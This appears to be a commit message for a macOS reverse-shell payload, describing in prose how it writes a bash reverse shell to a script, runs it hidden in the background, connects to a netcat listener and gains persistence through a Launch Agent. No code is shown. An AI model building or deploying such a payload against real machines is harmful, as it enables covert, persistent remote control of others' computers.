Updated MacReverseShell payload (#93)

* Mac Reverse Shell

Starts a terminal window on a Mac,then creates a bash reverse shell inside a script, s.sh.  It then runs the script in the background and closes the terminal window.

* Added variables for IP and Port of the Netcat Listener

For ease of use, variables were added at the top for the IP Address and Port of the Netcat Listener.  Change those values to your listener and no other edits should be needed.

* Added persistence (and a reason to have a dropper)

This payload creates a bash reverse shell inside a script and adds persistence by adding the script to the Mac Launch Agent at a user defined interval.
